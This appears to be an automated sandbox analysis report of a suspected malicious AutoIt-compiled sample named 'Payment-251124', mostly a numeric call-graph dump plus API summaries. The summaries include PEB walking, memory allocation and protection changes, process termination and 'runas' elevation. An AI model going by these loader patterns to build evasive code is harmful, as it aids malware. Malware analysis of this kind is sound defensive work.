ec22f0 94487->94488 94489 f31fe7 94488->94489 94490 ec22f9 RegisterWindowMessageW 94488->94490 94490->94439 94492 ec2755 94491->94492 94493 f35f4d 94491->94493 94494 edf4ea 48 API calls 94492->94494 94520 f0c942 50 API calls 94493->94520 94497 ec275d 94494->94497 94496 f35f58 94497->94443 94498->94450 94499->94452 94521 f099df 54 API calls 94499->94521 94507 ec2870 94500->94507 94503 ec2870 48 API calls 94504 ec2864 94503->94504 94505 ecd7f7 48 API calls 94504->94505 94506 ec2716 94505->94506 94506->94457 94508 ecd7f7 48 API calls 94507->94508 94509 ec287b 94508->94509 94510 ecd7f7 48 API calls 94509->94510 94511 ec2883 94510->94511 94512 ecd7f7 48 API calls 94511->94512 94513 ec285c 94512->94513 94513->94503 94514->94461 94516 ecd7f7 48 API calls 94515->94516 94517 ec26b0 94516->94517 94518 ecd7f7 48 API calls 94517->94518 94519 ec265f 94518->94519 94519->94469 94520->94496 94522 f3197b 94527 eddd94 94522->94527 94526 f3198a 94528 edf4ea 48 API calls 94527->94528 94529 eddd9c 94528->94529 94531 edddb0 94529->94531 94535 eddf3d 94529->94535 94534 ee0f0a 52 API calls __cinit 94531->94534 94534->94526 94536 eddf46 94535->94536 94538 eddda8 94535->94538 94567 ee0f0a 52 API calls __cinit 94536->94567 94539 edddc0 94538->94539 94540 ecd7f7 48 API calls 94539->94540 94541 edddd7 GetVersionExW 94540->94541 94542 ec6a63 48 API calls 94541->94542 94543 edde1a 94542->94543 94568 eddfb4 94543->94568 94546 ec6571 48 API calls 94550 edde2e 94546->94550 94548 f324c8 94550->94548 94572 eddf77 94550->94572 94551 eddea4 GetCurrentProcess 94581 eddf5f LoadLibraryA GetProcAddress 94551->94581 94552 eddebb 94554 eddf31 GetSystemInfo 94552->94554 94555 eddee3 94552->94555 94556 eddf0e 94554->94556 94575 ede00c 94555->94575 94558 eddf1c FreeLibrary 94556->94558 94559 eddf21 94556->94559 94558->94559 94559->94531 94561 eddf29 GetSystemInfo 94563 eddf03 94561->94563 94562 eddef9 94578 eddff4 94562->94578 94563->94556 94565 eddf09 FreeLibrary 94563->94565 94565->94556 94567->94538 94569 eddfbd 94568->94569 94570 ecb18b 48 API calls 94569->94570 94571 edde22 94570->94571 94571->94546 94582 eddf89 94572->94582 94586 ede01e 94575->94586 94579 ede00c 2 API calls 94578->94579 94580 eddf01 GetNativeSystemInfo 94579->94580 94580->94563 94581->94552 94583 eddea0 94582->94583 94584 eddf92 LoadLibraryA 94582->94584 94583->94551 94583->94552 94584->94583 94585 eddfa3 GetProcAddress 94584->94585 94585->94583 94587 eddef1 94586->94587 94588 ede027 LoadLibraryA 94586->94588 94587->94561 94587->94562 94588->94587 94589 ede038 GetProcAddress 94588->94589 94589->94587 94590 f319ba 94595 edc75a 94590->94595 94594 f319c9 94596 ecd7f7 48 API calls 94595->94596 94597 edc7c8 94596->94597 94603 edd26c 94597->94603 94600 edc865 94601 edc881 94600->94601 94606 edd1fa 48 API calls ___crtGetEnvironmentStringsW 94600->94606 94602 ee0f0a 52 API calls __cinit 94601->94602 94602->94594 94607 edd298 94603->94607 94606->94600 94608 edd28b 94607->94608 94609 edd2a5 94607->94609 94608->94600 94609->94608 94610 edd2ac RegOpenKeyExW 94609->94610 94610->94608 94611 edd2c6 RegQueryValueExW 94610->94611 94612 edd2fc RegCloseKey 94611->94612 94613 edd2e7 94611->94613 94612->94608 94613->94612 94614 f38eb8 94618 f0a635 94614->94618 94616 f38ec3 94617 f0a635 84 API calls 94616->94617 94617->94616 94619 f0a66f 94618->94619 94625 f0a642 94618->94625 94619->94616 94620 f0a671 94630 edec4e 81 API calls 94620->94630 94622 f0a676 94623 ec936c 81 API calls 94622->94623 94624 f0a67d 94623->94624 94626 ec510d 48 API calls 94624->94626 94625->94619 94625->94620 94625->94622 94627 f0a669 94625->94627 94626->94619 94629 ed4525 61 API calls ___crtGetEnvironmentStringsW 94627->94629 94629->94619 94630->94622 94631 f319dd 94636 ec4a30 94631->94636 94633 f319f1 94656 ee0f0a 52 API calls __cinit 94633->94656 94635 f319fb 94637 ec4a40 __ftell_nolock 94636->94637 94638 ecd7f7 48 API calls 94637->94638 94639 ec4af6 94638->94639 94640 ec5374 50 API calls 94639->94640 94641 ec4aff 94640->94641 94657 ec363c 94641->94657 94644 ec518c 48 API calls 94645 ec4b18 94644->94645 94646 ec64cf 48 API calls 94645->94646 94647 ec4b29 94646->94647 94648 ecd7f7 48 API calls 94647->94648 94649 ec4b32 94648->94649 94663 ec49fb 94649->94663 94651 ec4b43 Mailbox 94651->94633 94652 ec61a6 48 API calls 94655 ec4b3d _wcscat Mailbox __wsetenvp 94652->94655 94653 ecce19 48 API calls 94653->94655 94654 ec64cf 48 API calls 94654->94655 94655->94651 94655->94652 94655->94653 94655->94654 94656->94635 94658 ec3649 __ftell_nolock 94657->94658 94677 ec366c GetFullPathNameW 94658->94677 94660 ec365a 94661 ec6a63 48 API calls 94660->94661 94662 ec3669 94661->94662 94662->94644 94679 ecbcce 94663->94679 94666 ec4a2b 94666->94655 94667 f341cc RegQueryValueExW 94668 f34246 RegCloseKey 94667->94668 94669 f341e5 94667->94669 94670 edf4ea 48 API calls 94669->94670 94671 f341fe 94670->94671 94672 ec47b7 48 API calls 94671->94672 94673 f34208 RegQueryValueExW 94672->94673 94674 f34224 94673->94674 94675 f3423b 94673->94675 94676 ec6a63 48 API calls 94674->94676 94675->94668 94676->94675 94678 ec368a 94677->94678 94678->94660 94680 ecbce8 94679->94680 94684 ec4a0a RegOpenKeyExW 94679->94684 94681 edf4ea 48 API calls 94680->94681 94682 ecbcf2 94681->94682 94683 edee75 48 API calls 94682->94683 94683->94684 94684->94666 94684->94667 94685 ec3742 94686 ec374b 94685->94686 94687 ec37c8 94686->94687 94688 ec3769 94686->94688 94726 ec37c6 94686->94726 94690 ec37ce 94687->94690 94691 f31e00 94687->94691 94692 ec382c PostQuitMessage 94688->94692 94693 ec3776 94688->94693 94689 ec37ab DefWindowProcW 94719 ec37b9 94689->94719 94694 ec37f6 SetTimer RegisterWindowMessageW 94690->94694 94695 ec37d3 94690->94695 94740 ec2ff6 16 API calls 94691->94740 94692->94719 94697 f31e88 94693->94697 94698 ec3781 94693->94698 94702 ec381f CreatePopupMenu 94694->94702 94694->94719 94699 f31da3 94695->94699 94700 ec37da KillTimer 94695->94700 94746 f04ddd 60 API calls _memset 94697->94746 94703 ec3789 94698->94703 94704 ec3836 94698->94704 94706 f31da8 94699->94706 94707 f31ddc MoveWindow 94699->94707 94737 ec3847 Shell_NotifyIconW _memset 94700->94737 94701 f31e27 94741 ede312 335 API calls Mailbox 94701->94741 94702->94719 94710 ec3794 94703->94710 94711 f31e6d 94703->94711 94730 edeb83 94704->94730 94714 f31dcb SetFocus 94706->94714 94715 f31dac 94706->94715 94707->94719 94717 ec379f 94710->94717 94718 f31e58 94710->94718 94711->94689 94745 efa5f3 48 API calls 94711->94745 94712 f31e9a 94712->94689 94712->94719 94714->94719 94715->94717 94720 f31db5 94715->94720 94716 ec37ed 94738 ec390f DeleteObject DestroyWindow Mailbox 94716->94738 94717->94689 94742 ec3847 Shell_NotifyIconW _memset 94717->94742 94744 f055bd 70 API calls _memset 94718->94744 94739 ec2ff6 16 API calls 94720->94739 94725 f31e68 94725->94719 94726->94689 94728 f31e4c 94743 ec4ffc 67 API calls _memset 94728->94743 94731 edec1c 94730->94731 94732 edeb9a _memset 94730->94732 94731->94719 94747 ec51af 94732->94747 94734 edec05 KillTimer SetTimer 94734->94731 94735 edebc1 94735->94734 94736 f33c7a Shell_NotifyIconW 94735->94736 94736->94734 94737->94716 94738->94719 94739->94719 94740->94701 94741->94717 94742->94728 94743->94726 94744->94725 94745->94726 94746->94712 94748 ec51cb 94747->94748 94768 ec52a2 Mailbox 94747->94768 94749 ec6b0f 48 API calls 94748->94749 94750 ec51d9 94749->94750 94751 f33ca1 LoadStringW 94750->94751 94752 ec51e6 94750->94752 94755 f33cbb 94751->94755 94753 ec6a63 48 API calls 94752->94753 94754 ec51fb 94753->94754 94754->94755 94756 ec520c 94754->94756 94757 ec510d 48 API calls 94755->94757 94758 ec5216 94756->94758 94759 ec52a7 94756->94759 94760 f33cc5 94757->94760 94762 ec510d 48 API calls 94758->94762 94761 ec6eed 48 API calls 94759->94761 94763 ec518c 48 API calls 94760->94763 94765 ec5220 _memset _wcscpy 94760->94765 94761->94765 94762->94765 94764 f33ce7 94763->94764 94766 ec518c 48 API calls 94764->94766 94767 ec5288 Shell_NotifyIconW 94765->94767 94766->94765 94767->94768 94768->94735 94769 15f7ff0 94783 15f5c40 94769->94783 94771 15f80b4 94786 15f7ee0 94771->94786 94773 15f80dd CreateFileW 94775 15f812c 94773->94775 94776 15f8131 94773->94776 94776->94775 94777 15f8148 VirtualAlloc 94776->94777 94777->94775 94778 15f8166 ReadFile 94777->94778 94778->94775 94779 15f8181 94778->94779 94780 15f6ee0 13 API calls 94779->94780 94781 15f81b4 94780->94781 94782 15f81d7 ExitProcess 94781->94782 94782->94775 94789 15f90e0 GetPEB 94783->94789 94785 15f62cb 94785->94771 94787 15f7ee9 Sleep 94786->94787 94788 15f7ef7 94787->94788 94790 15f910a 94789->94790 94790->94785 94791 f39bec 94829 ed0ae0 Mailbox ___crtGetEnvironmentStringsW 94791->94829 94796 ed0509 94850 f0cc5c 86 API calls 4 library calls 94796->94850 94797 ed146e 94802 ec6eed 48 API calls 94797->94802 94799 edf4ea 48 API calls 94817 ecfec8 94799->94817 94801 ed1473 94849 f0cc5c 86 API calls 4 library calls 94801->94849 94820 ecffe1 Mailbox 94802->94820 94804 f3a922 94805 f3a246 94809 ec6eed 48 API calls 94805->94809 94808 ec6eed 48 API calls 94808->94817 94809->94820 94810 f3a873 94811 ecd7f7 48 API calls 94811->94817 94812 f3a30e 94812->94820 94845 ef97ed InterlockedDecrement 94812->94845 94813 ecce19 48 API calls 94813->94829 94814 ee0f0a 52 API calls __cinit 94814->94817 94815 ef97ed InterlockedDecrement 94815->94817 94817->94796 94817->94797 94817->94799 94817->94801 94817->94805 94817->94808 94817->94811 94817->94812 94817->94814 94817->94815 94818 f3a973 94817->94818 94817->94820 94822 ed15b5 94817->94822 94839 ed1820 335 API calls 2 library calls 94817->94839 94840 ed1d10 59 API calls Mailbox 94817->94840 94851 f0cc5c 86 API calls 4 library calls 94818->94851 94821 f3a982 94848 f0cc5c 86 API calls 4 library calls 94822->94848 94824 edf4ea 48 API calls 94824->94829 94825 ecfe30 335 API calls 94825->94829 94826 f3a706 94846 f0cc5c 86 API calls 4 library calls 94826->94846 94828 ed1526 Mailbox 94847 f0cc5c 86 API calls 4 library calls 94828->94847 94829->94813 94829->94817 94829->94820 94829->94824 94829->94825 94829->94826 94829->94828 94830 ef97ed InterlockedDecrement 94829->94830 94833 f20d09 94829->94833 94836 f20d1d 94829->94836 94841 f1ef61 82 API calls 2 library calls 94829->94841 94842 f1f0ac 90 API calls Mailbox 94829->94842 94843 f0a6ef 48 API calls 94829->94843 94844 f1e822 335 API calls Mailbox 94829->94844 94830->94829 94852 f1f8ae 94833->94852 94835 f20d19 94835->94829 94837 f1f8ae 129 API calls 94836->94837 94838 f20d2d 94837->94838 94838->94829 94839->94817 94840->94817 94841->94829 94842->94829 94843->94829 94844->94829 94845->94820 94846->94828 94847->94820 94848->94820 94849->94810 94850->94804 94851->94821 94853 ec936c 81 API calls 94852->94853 94854 f1f8ea 94853->94854 94877 f1f92c Mailbox 94854->94877 94888 f20567 94854->94888 94856 f1fb8b 94857 f1fcfa 94856->94857 94861 f1fb95 94856->94861 94924 f20688 89 API calls Mailbox 94857->94924 94860 f1fd07 94860->94861 94863 f1fd13 94860->94863 94901 f1f70a 94861->94901 94862 ec936c 81 API calls 94881 f1f984 Mailbox 94862->94881 94863->94877 94868 f1fbc9 94915 eded18 94868->94915 94871 f1fbe3 94921 f0cc5c 86 API calls 4 library calls 94871->94921 94872 f1fbfd 94873 edc050 48 API calls 94872->94873 94875 f1fc14 94873->94875 94878 ed1b90 48 API calls 94875->94878 94887 f1fc3e 94875->94887 94876 f1fbee GetCurrentProcess TerminateProcess 94876->94872 94877->94835 94880 f1fc2d 94878->94880 94879 f1fd65 94879->94877 94884 f1fd7e FreeLibrary 94879->94884 94922 f2040f 105 API calls _free 94880->94922 94881->94856 94881->94862 94881->94877 94881->94881 94919 f229e8 48 API calls ___crtGetEnvironmentStringsW 94881->94919 94920 f1fda5 60 API calls 2 library calls 94881->94920 94883 ed1b90 48 API calls 94883->94887 94884->94877 94887->94879 94887->94883 94923 ecdcae 50 API calls Mailbox 94887->94923 94925 f2040f 105 API calls _free 94887->94925 94889 ecbdfa 48 API calls 94888->94889 94890 f20582 CharLowerBuffW 94889->94890 94926 f01f11 94890->94926 94894 ecd7f7 48 API calls 94895 f205bb 94894->94895 94933 ec69e9 48 API calls ___crtGetEnvironmentStringsW 94895->94933 94897 f2061a Mailbox 94897->94881 94898 f205d2 94899 ecb18b 48 API calls 94898->94899 94900 f205de Mailbox 94899->94900 94900->94897 94934 f1fda5 60 API calls 2 library calls 94900->94934 94902 f1f725 94901->94902 94906 f1f77a 94901->94906 94903 edf4ea 48 API calls 94902->94903 94904 f1f747 94903->94904 94905 edf4ea 48 API calls 94904->94905 94904->94906 94905->94904 94907 f20828 94906->94907 94908 f20a53 Mailbox 94907->94908 94914 f2084b _strcat _wcscpy __wsetenvp 94907->94914 94908->94868 94909 ecd286 48 API calls 94909->94914 94910 eccf93 58 API calls 94910->94914 94911 ec936c 81 API calls 94911->94914 94912 ee395c 47 API calls __crtCompareStringA_stat 94912->94914 94914->94908 94914->94909 94914->94910 94914->94911 94914->94912 94937 f08035 50 API calls __wsetenvp 94914->94937 94916 eded2d 94915->94916 94917 ededc5 VirtualProtect 94916->94917 94918 eded93 94916->94918 94917->94918 94918->94871 94918->94872 94919->94881 94920->94881 94921->94876 94922->94887 94923->94887 94924->94860 94925->94887 94927 f01f3b __wsetenvp 94926->94927 94928 f01f79 94927->94928 94929 f01f6f 94927->94929 94932 f01ffa 94927->94932 94928->94894 94928->94900 94929->94928 94935 edd37a 60 API calls 94929->94935 94932->94928 94936 edd37a 60 API calls 94932->94936 94933->94898 94934->94897 94935->94929 94936->94932 94937->94914

                                                        Executed Functions

                                                        Function 00EEB043 Relevance: 21.5, APIs: 14, Instructions: 537COMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 643 eeb043-eeb080 call eef8a0 646 eeb089-eeb08b 643->646 647 eeb082-eeb084 643->647 649 eeb0ac-eeb0d9 646->649 650 eeb08d-eeb0a7 call ee7bda call ee7c0e call ee6e10 646->650 648 eeb860-eeb86c call eea70c 647->648 653 eeb0db-eeb0de 649->653 654 eeb0e0-eeb0e7 649->654 650->648 653->654 657 eeb10b-eeb110 653->657 658 eeb0e9-eeb100 call ee7bda call ee7c0e call ee6e10 654->658 659 eeb105 654->659 661 eeb11f-eeb12d call ef3bf2 657->661 662 eeb112-eeb11c call eef82f 657->662 688 eeb851-eeb854 658->688 659->657 674 eeb44b-eeb45d 661->674 675 eeb133-eeb145 661->675 662->661 678 eeb7b8-eeb7d5 WriteFile 674->678 679 eeb463-eeb473 674->679 675->674 677 eeb14b-eeb183 call ee7a0d GetConsoleMode 675->677 677->674 693 eeb189-eeb18f 677->693 683 eeb7d7-eeb7df 678->683 684 eeb7e1-eeb7e7 GetLastError 678->684 680 eeb55a-eeb55f 679->680 681 eeb479-eeb484 679->681 690 eeb565-eeb56e 680->690 691 eeb663-eeb66e 680->691 686 eeb48a-eeb49a 681->686 687 eeb81b-eeb833 681->687 689 eeb7e9 683->689 684->689 694 eeb4a0-eeb4a3 686->694 695 eeb83e-eeb84e call ee7c0e call ee7bda 687->695 696 eeb835-eeb838 687->696 700 eeb85e-eeb85f 688->700 698 eeb7ef-eeb7f1 689->698 690->687 699 eeb574 690->699 691->687 697 eeb674 691->697 701 eeb199-eeb1bc GetConsoleCP 693->701 702 eeb191-eeb193 693->702 703 eeb4e9-eeb520 WriteFile 694->703 704 eeb4a5-eeb4be 694->704 695->688 696->695 705 eeb83a-eeb83c 696->705 706 eeb67e-eeb693 697->706 708 eeb856-eeb85c 698->708 709 eeb7f3-eeb7f5 698->709 710 eeb57e-eeb595 699->710 700->648 711 eeb1c2-eeb1ca 701->711 712 eeb440-eeb446 701->712 702->674 702->701 703->684 715 eeb526-eeb538 703->715 713 eeb4cb-eeb4e7 704->713 714 eeb4c0-eeb4ca 704->714 705->700 716 eeb699-eeb69b 706->716 708->700 709->687 718 eeb7f7-eeb7fc 709->718 719 eeb59b-eeb59e 710->719 720 eeb1d4-eeb1d6 711->720 712->709 713->694 713->703 714->713 715->698 721 eeb53e-eeb54f 715->721 722 eeb69d-eeb6b3 716->722 723 eeb6d8-eeb719 WideCharToMultiByte 716->723 725 eeb7fe-eeb810 call ee7c0e call ee7bda 718->725 726 eeb812-eeb819 call ee7bed 718->726 727 eeb5de-eeb627 WriteFile 719->727 728 eeb5a0-eeb5b6 719->728 733 eeb1dc-eeb1fe 720->733 734 eeb36b-eeb36e 720->734 721->686 735 eeb555 721->735 736 eeb6c7-eeb6d6 722->736 737 eeb6b5-eeb6c4 722->737 723->684 739 eeb71f-eeb721 723->739 725->688 726->688 727->684 732 eeb62d-eeb645 727->732 729 eeb5cd-eeb5dc 728->729 730 eeb5b8-eeb5ca 728->730 729->719 729->727 730->729 732->698 742 eeb64b-eeb658 732->742 743 eeb217-eeb223 call ee1688 733->743 744 eeb200-eeb215 733->744 745 eeb375-eeb3a2 734->745 746 eeb370-eeb373 734->746 735->698 736->716 736->723 737->736 747 eeb727-eeb75a WriteFile 739->747 742->710 752 eeb65e 742->752 767 eeb269-eeb26b 743->767 768 eeb225-eeb239 743->768 753 eeb271-eeb283 call ef40f7 744->753 755 eeb3a8-eeb3ab 745->755 746->745 746->755 749 eeb75c-eeb776 747->749 750 eeb77a-eeb78e GetLastError 747->750 749->747 756 eeb778 749->756 759 eeb794-eeb796 750->759 752->698 770 eeb289 753->770 771 eeb435-eeb43b 753->771 761 eeb3ad-eeb3b0 755->761 762 eeb3b2-eeb3c5 call ef5884 755->762 756->759 759->689 766 eeb798-eeb7b0 759->766 761->762 763 eeb407-eeb40a 761->763 762->684 776 eeb3cb-eeb3d5 762->776 763->720 773 eeb410 763->773 766->706 772 eeb7b6 766->772 767->753 774 eeb23f-eeb254 call ef40f7 768->774 775 eeb412-eeb42d 768->775 777 eeb28f-eeb2c4 WideCharToMultiByte 770->777 771->689 772->698 773->771 774->771 785 eeb25a-eeb267 774->785 775->771 779 eeb3fb-eeb401 776->779 780 eeb3d7-eeb3ee call ef5884 776->780 777->771 781 eeb2ca-eeb2f0 WriteFile 777->781 779->763 780->684 788 eeb3f4-eeb3f5 780->788 781->684 784 eeb2f6-eeb30e 781->784 784->771 787 eeb314-eeb31b 784->787 785->777 787->779 789 eeb321-eeb34c WriteFile 787->789 788->779 789->684 790 eeb352-eeb359 789->790 790->771 791 eeb35f-eeb366 790->791 791->779
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e9c56c3d64026c76b1842a0c0c9647a1a864d5bf5c5c82a581548e1e6087ac12
                                                        • Instruction ID: f544380ad3609d180b4da7e4f57d099f5875ed85e877414895673c81ea66f556
                                                        • Opcode Fuzzy Hash: e9c56c3d64026c76b1842a0c0c9647a1a864d5bf5c5c82a581548e1e6087ac12
                                                        • Instruction Fuzzy Hash: 49326B75B022AC8BDB248F55DC816EAB7F5FB46314F1851D9E80AE7A81D7309E80CF52
                                                        Function 00EC3D19 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151windowCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00EC3AA3,?), ref: 00EC3D45
                                                        • IsDebuggerPresent.KERNEL32(?,?,?,?,00EC3AA3,?), ref: 00EC3D57
                                                        • GetFullPathNameW.KERNEL32(00007FFF,?,?,00F81148,00F81130,?,?,?,?,00EC3AA3,?), ref: 00EC3DC8
                                                          • Part of subcall function 00EC6430: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00EC3DEE,00F81148,?,?,?,?,?,00EC3AA3,?), ref: 00EC6471
                                                        • SetCurrentDirectoryW.KERNEL32(?,?,?,00EC3AA3,?), ref: 00EC3E48
                                                        • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00F728F4,00000010), ref: 00F31CCE
                                                        • SetCurrentDirectoryW.KERNEL32(?,00F81148,?,?,?,?,?,00EC3AA3,?), ref: 00F31D06
                                                        • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00F5DAB4,00F81148,?,?,?,?,?,00EC3AA3,?), ref: 00F31D89
                                                        • ShellExecuteW.SHELL32(00000000,?,?,?,?,00EC3AA3), ref: 00F31D90
                                                          • Part of subcall function 00EC3E6E: GetSysColorBrush.USER32(0000000F), ref: 00EC3E79
                                                          • Part of subcall function 00EC3E6E: LoadCursorW.USER32(00000000,00007F00), ref: 00EC3E88
                                                          • Part of subcall function 00EC3E6E: LoadIconW.USER32(00000063), ref: 00EC3E9E
                                                          • Part of subcall function 00EC3E6E: LoadIconW.USER32(000000A4), ref: 00EC3EB0
                                                          • Part of subcall function 00EC3E6E: LoadIconW.USER32(000000A2), ref: 00EC3EC2
                                                          • Part of subcall function 00EC3E6E: RegisterClassExW.USER32(?), ref: 00EC3F30
                                                          • Part of subcall function 00EC36B8: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00EC36E6
                                                          • Part of subcall function 00EC36B8: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC3707
                                                          • Part of subcall function 00EC36B8: ShowWindow.USER32(00000000,?,?,?,?,00EC3AA3,?), ref: 00EC371B
                                                          • Part of subcall function 00EC36B8: ShowWindow.USER32(00000000,?,?,?,?,00EC3AA3,?), ref: 00EC3724
                                                          • Part of subcall function 00EC4FFC: _memset.LIBCMT ref: 00EC5022
                                                          • Part of subcall function 00EC4FFC: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00EC50CB
                                                        Strings
                                                        • This is a third-party compiled AutoIt script., xrefs: 00F31CC8
                                                        • runas, xrefs: 00F31D84
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$IconLoad$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
                                                        • String ID: This is a third-party compiled AutoIt script.$runas
                                                        • API String ID: 438480954-3287110873
                                                        • Opcode ID: 8d3fef1b6b1f1ff6e87acdc5f8a8530df92da5367698c4729a5541cf4672aeb1
                                                        • Instruction ID: ae6bc140499d158d388efed0d9d54960bca4152c0ec9385c605a79b3aac255d2
                                                        • Opcode Fuzzy Hash: 8d3fef1b6b1f1ff6e87acdc5f8a8530df92da5367698c4729a5541cf4672aeb1
                                                        • Instruction Fuzzy Hash: D1511631A0474CAECF11ABF0DD49FFE7BBDAB15750F00916DF50272192CA265647A722
                                                        Function 00EDDDC0 Relevance: 10.7, APIs: 7, Instructions: 175COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1075 edddc0-edde4f call ecd7f7 GetVersionExW call ec6a63 call eddfb4 call ec6571 1084 edde55-edde56 1075->1084 1085 f324c8-f324cb 1075->1085 1088 edde58-edde63 1084->1088 1089 edde92-eddea2 call eddf77 1084->1089 1086 f324e4-f324e8 1085->1086 1087 f324cd 1085->1087 1092 f324d3-f324dc 1086->1092 1093 f324ea-f324f3 1086->1093 1091 f324d0 1087->1091 1094 edde69-edde6b 1088->1094 1095 f3244e-f32454 1088->1095 1102 eddea4-eddec1 GetCurrentProcess call eddf5f 1089->1102 1103 eddec7-eddee1 1089->1103 1091->1092 1092->1086 1093->1091 1099 f324f5-f324f8 1093->1099 1100 f32469-f32475 1094->1100 1101 edde71-edde74 1094->1101 1097 f32456-f32459 1095->1097 1098 f3245e-f32464 1095->1098 1097->1089 1098->1089 1099->1092 1104 f32477-f3247a 1100->1104 1105 f3247f-f32485 1100->1105 1106 f32495-f32498 1101->1106 1107 edde7a-edde89 1101->1107 1102->1103 1126 eddec3 1102->1126 1109 eddf31-eddf3b GetSystemInfo 1103->1109 1110 eddee3-eddef7 call ede00c 1103->1110 1104->1089 1105->1089 1106->1089 1111 f3249e-f324b3 1106->1111 1112 edde8f 1107->1112 1113 f3248a-f32490 1107->1113 1117 eddf0e-eddf1a 1109->1117 1123 eddf29-eddf2f GetSystemInfo 1110->1123 1124 eddef9-eddf01 call eddff4 GetNativeSystemInfo 1110->1124 1114 f324b5-f324b8 1111->1114 1115 f324bd-f324c3 1111->1115 1112->1089 1113->1089 1114->1089 1115->1089 1119 eddf1c-eddf1f FreeLibrary 1117->1119 1120 eddf21-eddf26 1117->1120 1119->1120 1125 eddf03-eddf07 1123->1125 1124->1125 1125->1117 1128 eddf09-eddf0c FreeLibrary 1125->1128 1126->1103 1128->1117
                                                        APIs
                                                        • GetVersionExW.KERNEL32(?), ref: 00EDDDEC
                                                        • GetCurrentProcess.KERNEL32(00000000,00F5DC38,?,?), ref: 00EDDEAC
                                                        • GetNativeSystemInfo.KERNELBASE(?,00F5DC38,?,?), ref: 00EDDF01
                                                        • FreeLibrary.KERNEL32(00000000,?,?), ref: 00EDDF0C
                                                        • FreeLibrary.KERNEL32(00000000,?,?), ref: 00EDDF1F
                                                        • GetSystemInfo.KERNEL32(?,00F5DC38,?,?), ref: 00EDDF29
                                                        • GetSystemInfo.KERNEL32(?,00F5DC38,?,?), ref: 00EDDF35
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion
                                                        • String ID:
                                                        • API String ID: 3851250370-0
                                                        • Opcode ID: a23fbdbcb0f10a9975b9f497d5abbc65807d0524a758f19a284ea0a64554b776
                                                        • Instruction ID: c53e0cb3be85ee78237b63ed51b21820c5240eb9b54c9690c86dfa8bd40cf6dc
                                                        • Opcode Fuzzy Hash: a23fbdbcb0f10a9975b9f497d5abbc65807d0524a758f19a284ea0a64554b776
                                                        • Instruction Fuzzy Hash: 5F619EB190A284DBCF15CF68D8C15E97FB4AF2A300F1989DADC45AF307C624C90ACB65
                                                        Function 00EC406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1147 ec406b-ec4083 CreateStreamOnHGlobal 1148 ec4085-ec409c FindResourceExW 1147->1148 1149 ec40a3-ec40a6 1147->1149 1150 f34f16-f34f25 LoadResource 1148->1150 1151 ec40a2 1148->1151 1150->1151 1152 f34f2b-f34f39 SizeofResource 1150->1152 1151->1149 1152->1151 1153 f34f3f-f34f4a LockResource 1152->1153 1153->1151 1154 f34f50-f34f6e 1153->1154 1154->1151
                                                        APIs
